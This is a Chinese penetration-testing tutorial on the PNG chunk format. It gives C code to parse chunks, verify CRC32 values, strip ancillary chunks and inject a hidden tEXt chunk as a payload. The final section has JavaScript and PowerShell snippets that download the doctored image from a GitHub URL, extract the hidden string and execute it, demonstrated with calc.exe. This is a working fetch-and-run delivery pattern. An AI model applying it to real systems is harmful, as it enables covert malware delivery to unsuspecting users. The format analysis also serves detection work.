隐写技巧——利用PNG文件格式隐藏Payload

0x00 前言


隐写术(Steganography)由来已久,其中有很多好玩儿的细节,所以打算系统的研究一下,这次先从PNG的文件格式开始。
Alt text

图片来自于http://null-byte.wonderhowto.com/how-to/guide-steganography-part-1-hide-secret-messages-images-0130797/

0x01 简介


隐写术可以理解为信息隐藏,在渗透测试中最主要的应用是对Payload的隐藏。本文会对PNG的文件格式进行分析,编写c程序实现自动解析文件格式,并按照其文件格式添加自定义的payload,不仅不会影响图片的正常浏览,同时可将图片上传到网络,使用时将图片下载再以特定格式解密,最终执行payload。

注:

所有程序源码已上传github,地址为:
https://github.com/3gstudent/PNG-Steganography

0x02 PNG文件格式


1、PNG文件署名域

前8字节

固定格式,16进制为:
89 50 4e 47 0d 0a 1a 0a

2、数据块

Chunk Type Code(数据块类型码): 4字节,数据块类型码

Chunk Data(数据块数据): 可变长度,存储数据

CRC(循环冗余检测): 4字节,存储用来检测是否有错误的循环冗余码

数据块类型:

1. 关键数据块(critical chunk)

(1) 文件头数据块IHDR(header chunk)

  • 包含PNG文件的基本信息
  • 一个PNG数据流中只能有一个IHDR
  • 必须在PNG文件最前面

(2) 调色板数据块PLTE(palette chunk)

  • 包含有与索引彩色图像(indexed-color image)相关的彩色变换数据
  • 必须在IDAT之前

(3) 图像数据块IDAT(image data chunk)

  • 存储实际的数据
  • 可存在多个
  • 必须与其他IDAT连续

(4) 图像结束数据IEND(image trailer chunk)

  • 固定格式,16进制为:
    00 00 00 00 49 45 4E 44 AE 42 60 82
  • 必须在PNG文件最尾部

2. 辅助数据块(ancillary chunk)

用于辅助指示PNG图像中的层、文字等信息

可删除,不影响图片浏览,但图像将失去原来的可编辑性

(1) 背景颜色数据块bKGD(background color)

(2) 基色和白色度数据块cHRM(primary chromaticities and white point)

(3) 图像γ数据块gAMA(image gamma)

(4) 图像直方图数据块hIST(image histogram)

(5) 物理像素尺寸数据块pHYs(physical pixel dimensions)

(6) 样本有效位数据块sBIT(significant bits)

(7) 文本信息数据块tEXt(textual data)

(8) 图像最后修改时间数据块tIME (image last-modification time)

(9) 图像透明数据块tRNS (transparency)

(10) 压缩文本数据块zTXt (compressed textual data)

0x03 实例格式分析


工具:Hex Editor

优点:

可对16进制字符串进行标记,设置颜色,方便格式分析

测试文件:

如图

Alt text

源下载地址:

http://www.easyicon.net/language.en/1172671-png_icon.html

标记好的文件格式如图

Alt text

Alt text

(1) PNG文件署名域

固定格式:

89 50 4e 47 0d 0a 1a 0a

(2) IHDR

00000008h: 00 00 00 0D 49 48 44 52 00 00 00 1A 00 00 00 1A ; ….IHDR……..
00000018h: 08 04 00 00 00 03 43 84 45 ; ……C凟

数据块结构:

Length:
00 00 00 0D

前4字节,定义长度,00 00 00 0D十进制为13,代表长度为13个字节

Chunk Type Code:
49 48 44 52

4字节,定义数据块类型码,此处为IHDR

Chunk Data:
00 00 00 1A 00 00 00 1A 08 04 00 00 00

共13字节,定义数据内容

CRC:
4字节,对Chunk Type Code+Chunk Data作CRC32计算得出的值

即对以下十六进制作计算:
49 48 44 52 00 00 00 1A 00 00 00 1A 08 04 00 00 00

编写程序对CRC算法进行验证,保存为example1.cpp,源代码如下:

#include <string.h>
unsigned int GetCrc32(char* InStr,unsigned int len){        
  unsigned int Crc32Table[256];      
  int i,j;        
  unsigned int Crc;        
  for (i = 0; i < 256; i++){        
    Crc = i;        
    for (j = 0; j < 8; j++){        
      if (Crc & 1)        
        Crc = (Crc >> 1) ^ 0xEDB88320;        
      else       
        Crc >>= 1;      
    }        
    Crc32Table[i] = Crc;        
  }        

  Crc=0xffffffff;        
  for(int m=0; m<len; m++){          
    Crc = (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^ InStr[m]];        
  }     

  Crc ^= 0xFFFFFFFF;     
  return Crc;        
}        
int main(int argc, char* argv[])
{
    char buf[17]={0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x1A,0x00,0x00,0x00,0x1A,0x08,0x04,0x00,0x00,0x00};
    unsigned int crc32=GetCrc32(buf,sizeof(buf));
    printf("%08X\n",crc32);
    return 0;
}

运行后如图,输出03438445,同文件中的CRC32校验码相同

Alt text

(3) gAMA

00000021h: 00 00 00 04 67 41 4D 41 00 00 B1 8F 0B FC 61 05 ; ….gAMA..睆.黙.

数据块结构:

Length: 00 00 00 04

Chunk Type Code: 67 41 4D 41

Chunk Data: 00 00 B1 8F

CRC: 0B FC 61 05

(4) cHRM

00000031h: 00 00 00 20 63 48 52 4D 00 00 7A 26 00 00 80 84 ; … cHRM..z&..€?
00000041h: 00 00 FA 00 00 00 80 E8 00 00 75 30 00 00 EA 60 ; ..?..€?.u0..阘
00000051h: 00 00 3A 98 00 00 17 70 9C BA 51 3C ; ..:?..p満Q<

数据块结构:

Length: 00 00 00 20

Chunk Type Code: 63 48 52 4D

Chunk Data: 00 00 7A 26 00 00 80 84 00 00 FA 00 00 00 80 E8 00 00 75 30 00 00 EA 60 00 00 3A 98 00 00 17 70

CRC: 9C BA 51 3C

(5) IDAT

(6-14) tEXt

(15)IEND

数据块结构:

Length: 00 00 00 00

Chunk Type Code: 49 45 4E 44

Chunk Data:

CRC: AE 42 60 82

固定结构,CRC的值为对Chunk Type Code作CRC32校验

如图

Alt text

0x04 编写程序分析文件格式


开发工具:vc6.0

1、读取PNG文件

保存为example2.cpp,代码如下:

#include<stdio.h>
#include<string.h>
int main(int argc, char* argv[])
{
    FILE *fp;   
    if((fp=fopen("c:\\test\\test.png","rb+"))==NULL)
        return 0;   
    fseek(fp,0,SEEK_END);
    int len=ftell(fp);
    unsigned char *buf=new unsigned char[len];    
    fseek(fp,0,SEEK_SET);
    fread(buf,len,1,fp);
    printf("len=%d\n",len);
    for(int i=1;i<=len;i++)
    {
        printf("%02X ",buf[i-1]);
        if(i%16==0)
            printf("\n");
    }
    fclose(fp);
    printf("\n");
    return 0;    
}

如图,程序按照UltraEdit的格式输出,以便后续的格式分析

Alt text

2、解析数据块结构

从第8字节开始,读前四字节为ChunkLength

对应的代码为:

unsigned int ChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];

接着四字节为ChunkName

printf("ChunkName:%c%c%c%c\n",buf[0],buf[1],buf[2],buf[3]);

然后根据ChunkLength读出完整的ChunkData

最后读出CRC32的值,同Chunk Type Code+Chunk Data求出的CRC32校验值作比较

保存为check.cpp,完整代码如下:

#include<stdio.h>
#include<string.h>

unsigned int GetCrc32(unsigned char* InStr,unsigned int len){        
    unsigned int Crc32Table[256];      
    unsigned int i,j;        
    unsigned int Crc;        
    for (i = 0; i < 256; i++){        
        Crc = i;        
        for (j = 0; j < 8; j++){        
            if (Crc & 1)        
                Crc = (Crc >> 1) ^ 0xEDB88320;        
            else       
                Crc >>= 1;      
        }        
        Crc32Table[i] = Crc;        
    }        

    Crc=0xffffffff;        
    for(unsigned int m=0; m<len; m++){          
        Crc = (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^ InStr[m]];        
    }     

    Crc ^= 0xFFFFFFFF;     
    return Crc;        
}        

int main(int argc, char* argv[])
{
    FILE *fp;   
    unsigned char *buf=NULL;
    unsigned int len=0;
    unsigned int ChunkLen=0;
    unsigned int ChunkCRC32=0;
    unsigned int ChunkOffset=0;    
    unsigned int crc32=0;
    unsigned int i=0;
    if((fp=fopen("c:\\test\\test.png","rb+"))==NULL)
        return 0;   
    fseek(fp,0,SEEK_END);
    len=ftell(fp);
    buf=new unsigned char[len];
    fseek(fp,0,SEEK_SET);
    fread(buf,len,1,fp);
    printf("Total Len=%d\n",len);
    printf("----------------------------------------------------\n");
    fseek(fp,8,SEEK_SET);
    ChunkOffset=8;
    i=0;
    while(1)
    {
        i++;
        memset(buf,0,len);
        fread(buf,4,1,fp);
        ChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
        fread(buf,4+ChunkLen,1,fp);
        printf("[+]ChunkName:%c%c%c%c        ",buf[0],buf[1],buf[2],buf[3]);
        if(strncmp((char *)buf,"IHDR",4)==0|strncmp((char *)buf,"PLTE",4)==0|strncmp((char *)buf,"IDAT",4)==0)
            printf("Palette Chunk\n");
        printf("Ancillary Chunk\n");
        printf("   ChunkOffset:0x%08x    \n",ChunkOffset);
        printf("   ChunkLen: %10d        \n",ChunkLen);
        ChunkOffset+=ChunkLen+12;
        crc32=GetCrc32(buf,ChunkLen+4);
        printf("   ExpectCRC32:%08X\n",crc32);
        fread(buf,4,1,fp);
        ChunkCRC32=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
        printf("   ChunkCRC32: %08X        ",ChunkCRC32);
        if(crc32!=ChunkCRC32)
            printf("[!]CRC32Check Error!\n");
        else
            printf("Check Success!\n\n");
        ChunkLen=ftell(fp);
        if(ChunkLen==(len-12))
        {
            printf("\n----------------------------------------------------\n");
            printf("Total Chunk:%d\n",i);        
            break;
        }
    }
    fclose(fp);
    return 0;    
}

运行如图,可获得完整的PNG文件结构

Alt text

Alt text

注:

这个程序可用来对PNG文件进行格式分析,标记PNG文件的数据块名称、偏移地址、数据块长度、比较预期和实际的CRC32校验码,可基于此对批量文件进行分析,查找可疑文件。

后续会补充python的实现代码

0x05 去除多余数据


上面提到,去除辅助数据块的内容对PNG图像的浏览没有影响,下面就尝试去除PNG文件的所有辅助数据块

1、工具实现

如图,使用Hex Editor去除辅助数据块gAMA、cHRM和bKGD

Alt text

如图,文件大小变化,但不影响PNG文件浏览

Alt text

2、程序实现

去除所有辅助数据块,只提取关键信息。程序先对ChunkName作判断,忽略非关键数据块(Ancillary Chunk)的内容,并保存为new.png

保存为compress.cpp,完整代码为:

#include<stdio.h>
#include<string.h>

unsigned int GetCrc32(unsigned char* InStr,unsigned int len){        
    unsigned int Crc32Table[256];      
    unsigned int i,j;        
    unsigned int Crc;        
    for (i = 0; i < 256; i++){        
        Crc = i;        
        for (j = 0; j < 8; j++){        
            if (Crc & 1)        
                Crc = (Crc >> 1) ^ 0xEDB88320;        
            else       
                Crc >>= 1;      
        }        
        Crc32Table[i] = Crc;        
    }        

    Crc=0xffffffff;        
    for(unsigned int m=0; m<len; m++){          
        Crc = (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^ InStr[m]];        
    }     

    Crc ^= 0xFFFFFFFF;     
    return Crc;        
}        

int main(int argc, char* argv[])
{
    FILE *fp,*fpnew;   
    unsigned char *buf=NULL;
    unsigned int len=0;
    unsigned int ChunkLen=0;
    unsigned int ChunkCRC32=0;
    unsigned int ChunkOffset=0;    
    unsigned int crc32=0;
    unsigned int i=0,j=0;
    unsigned char Signature[8]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a};    
    unsigned char IEND[12]={0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x82};       

    if((fp=fopen("c:\\test\\0.png","rb+"))==NULL)
        return 0;  
    if((fpnew=fopen("c:\\test\\new.png","wb"))==NULL)
        return 0;  
    fseek(fp,0,SEEK_END);
    len=ftell(fp);
    buf=new unsigned char[len];
    fseek(fp,0,SEEK_SET);
    fread(buf,len,1,fp);
    printf("Total Len=%d\n",len);
    printf("----------------------------------------------------\n");
    fseek(fp,8,SEEK_SET);
    ChunkOffset=8;
    i=0; 
    fwrite(Signature,8,1,fpnew);
    while(1)
    {
        i++;
        j=0;
        memset(buf,0,len);
        fread(buf,4,1,fp);
        fwrite(buf,4,1,fpnew);
        ChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
        fread(buf,4+ChunkLen,1,fp);
        printf("[+]ChunkName:%c%c%c%c        ",buf[0],buf[1],buf[2],buf[3]);
        if(strncmp((char *)buf,"IHDR",4)==0|strncmp((char *)buf,"PLTE",4)==0|strncmp((char *)buf,"IDAT",4)==0)
        {    
            printf("Palette Chunk\n");

            fwrite(buf,4+ChunkLen,1,fpnew);
        }
        else
        {
            printf("Ancillary Chunk\n");
            fseek(fpnew,-4,SEEK_CUR);
            j=1;
        }
        printf("   ChunkOffset:0x%08x    \n",ChunkOffset);
        printf("   ChunkLen: %10d        \n",ChunkLen);
        crc32=GetCrc32(buf,ChunkLen+4);
        printf("   ExpectCRC32:%08X\n",crc32);
        fread(buf,4,1,fp);
        ChunkCRC32=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
        printf("   ChunkCRC32: %08X        ",ChunkCRC32);
        if(crc32!=ChunkCRC32)
            printf("[!]CRC32Check Error!\n");
        else
        {
            printf("Check Success!\n\n");
            if(j==0)
                fwrite(buf,4,1,fpnew);
        }
        ChunkLen=ftell(fp);
        if(ChunkLen==(len-12))
        {
            printf("\n----------------------------------------------------\n");
            printf("Total Chunk:%d\n",i);        
            break;
        }
    }
    fwrite(IEND,12,1,fpnew);
    fclose(fp);
    fclose(fpnew);
    return 0;    
}

如图,左边为原始PNG文件大小,右边为去掉所有辅助数据块后的文件,仍然可以正常浏览

Alt text

0x06 写入Payload


实例:

按照辅助数据块的格式写入Payload

写入的Payload为:

calc.exe

辅助数据块设置为:

tEXt

对应的完整数据块结构如下:

Length:                00 00 00 08
Chunk Type Code:    74 45 58 74
Chunk Data:            63 61 6c 63 2e 65 78 65
CRC:                fa c4 08 76

写入的十六进制数据如下:

00 00 00 08 74 45 58 74 63 61 6c 63 2e 65 78 65 fa c4 08 76

注:
本实例仅作演示,实际使用可换成其他数据块,更加隐蔽

1、工具实现

使用Hex Editor插入数据,如图

Alt text

保存后,不影响PNG文件浏览

2、程序实现

去掉PNG文件所有的辅助数据块后,写入payload数据块tEXt

保存为addpayload.cpp,完整代码:

#include<stdio.h>
#include<string.h>

unsigned int GetCrc32(unsigned char* InStr,unsigned int len){        
    unsigned int Crc32Table[256];      
    unsigned int i,j;        
    unsigned int Crc;        
    for (i = 0; i < 256; i++){        
        Crc = i;        
        for (j = 0; j < 8; j++){        
            if (Crc & 1)        
                Crc = (Crc >> 1) ^ 0xEDB88320;        
            else       
                Crc >>= 1;      
        }        
        Crc32Table[i] = Crc;        
    }        

    Crc=0xffffffff;        
    for(unsigned int m=0; m<len; m++){          
        Crc = (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^ InStr[m]];        
    }     

    Crc ^= 0xFFFFFFFF;     
    return Crc;        
}        

void convertStrToUnChar(char* str, unsigned char* UnChar)  
{  
    int i = strlen(str), j = 0, counter = 0;  
    char c[2];  
    unsigned int bytes[2];  

    for (j = 0; j < i; j += 2)   
    {  
        if(0 == j % 2)  
        {  
            c[0] = str[j];  
            c[1] = str[j + 1];  
            sscanf(c, "%02x" , &bytes[0]);  
            UnChar[counter] = bytes[0];  
            counter++;  
        }  
    }  
    return;  
}     

void AddPayload(FILE *fp)
{
    char *Payload="calc.exe";
    unsigned char *buf;
    int len;
    int crc32;
    len=strlen(Payload);    
    buf=new unsigned char[len+12];
    buf[0]=len>>24&0xff;
    buf[1]=len>>16&0xff;
    buf[2]=len>>8&0xff;
    buf[3]=len&0xff;
    buf[4]='t';
    buf[5]='E';
    buf[6]='X';
    buf[7]='t';
    for(int j=0;j<len;j++)
        buf[j+8]=Payload[j];
    buf[len+8]=0XFA;
    buf[len+9]=0XC4;
    buf[len+10]=0X08;
    buf[len+11]=0X76;
    fwrite(buf,len+12,1,fp);
}

int main(int argc, char* argv[])
{
    FILE *fp,*fpnew;   
    unsigned char *buf=NULL;
    unsigned int len=0;
    unsigned int ChunkLen=0;
    unsigned int ChunkCRC32=0;
    unsigned int ChunkOffset=0;    
    unsigned int crc32=0;
    unsigned int i=0,j=0;
    unsigned char Signature[8]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a};    
    unsigned char IEND[12]={0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x82};       

    if((fp=fopen("c:\\test\\test.png","rb+"))==NULL)
        return 0;  
    if((fpnew=fopen("c:\\test\\new.png","wb"))==NULL)
        return 0;  
    fseek(fp,0,SEEK_END);
    len=ftell(fp);
    buf=new unsigned char[len];
    fseek(fp,0,SEEK_SET);
    fread(buf,len,1,fp);
    printf("Total Len=%d\n",len);
    printf("----------------------------------------------------\n");
    fseek(fp,8,SEEK_SET);
    ChunkOffset=8;
    i=0; 
    fwrite(Signature,8,1,fpnew);
    while(1)
    {
        i++;
        j=0;
        memset(buf,0,len);
        fread(buf,4,1,fp);
        fwrite(buf,4,1,fpnew);
        ChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
        fread(buf,4+ChunkLen,1,fp);
        printf("[+]ChunkName:%c%c%c%c        ",buf[0],buf[1],buf[2],buf[3]);
        if(strncmp((char *)buf,"IHDR",4)==0|strncmp((char *)buf,"PLTE",4)==0|strncmp((char *)buf,"IDAT",4)==0)
        {    
            printf("Palette Chunk\n");

            fwrite(buf,4+ChunkLen,1,fpnew);
        }
        else
        {
            printf("Ancillary Chunk\n");
            fseek(fpnew,-4,SEEK_CUR);
            j=1;
        }
        printf("   ChunkOffset:0x%08x    \n",ChunkOffset);
        printf("   ChunkLen: %10d        \n",ChunkLen);
        crc32=GetCrc32(buf,ChunkLen+4);
        printf("   ExpectCRC32:%08X\n",crc32);
        fread(buf,4,1,fp);
        ChunkCRC32=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
        printf("   ChunkCRC32: %08X        ",ChunkCRC32);
        if(crc32!=ChunkCRC32)
            printf("[!]CRC32Check Error!\n");
        else
        {
            printf("Check Success!\n\n");
            if(j==0)
                fwrite(buf,4,1,fpnew);
        }
        ChunkLen=ftell(fp);
        if(ChunkLen==(len-12))
        {
            printf("\n----------------------------------------------------\n");
            printf("Total Chunk:%d\n",i);        
            break;
        }
    }
    AddPayload(fpnew);
    fwrite(IEND,12,1,fpnew);
    fclose(fp);
    fclose(fpnew);
    return 0;    
}

使用check.cpp对其进行校验,如图,校验成功

Alt text

0x07 读取payload并执行


将添加payload的图片上传至github,在客户端实现读取图片解析payload并执行:

1、javascript

h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.SetTimeouts(0, 0, 0, 0);
h.Open("GET","https://raw.githubusercontent.com/3gstudent/PNG-Steganography/master/new.png",false);
h.Send();
Data = h.ResponseText;
x=Data.indexOf("tEXt");
y=Data.indexOf("IEND");
str=Data.substring(x+4,y-8);
new ActiveXObject("WScript.Shell").Run(str); 

2、powershell

$url = 'https://raw.githubusercontent.com/3gstudent/PNG-Steganography/master/new.png'
$request = New-Object System.Net.WebCLient
$bytes = $request.DownloadString($url)
$x=$bytes.indexof("tEXt")
$y=$bytes.indexof("IEND")
$str=$bytes.Substring($x+4,$y-$x-12)
Start-Process -FilePath $str

注:

这里给出两种方法,仅作演示

0x08 小结


本文详细介绍分析了PNG文件的格式,编写程序实现以下功能:

  • 自动解析PNG文件格式,辅助查找其中的隐藏内容

  • 添加Payload

  • 下载PNG图片解析并执行payload


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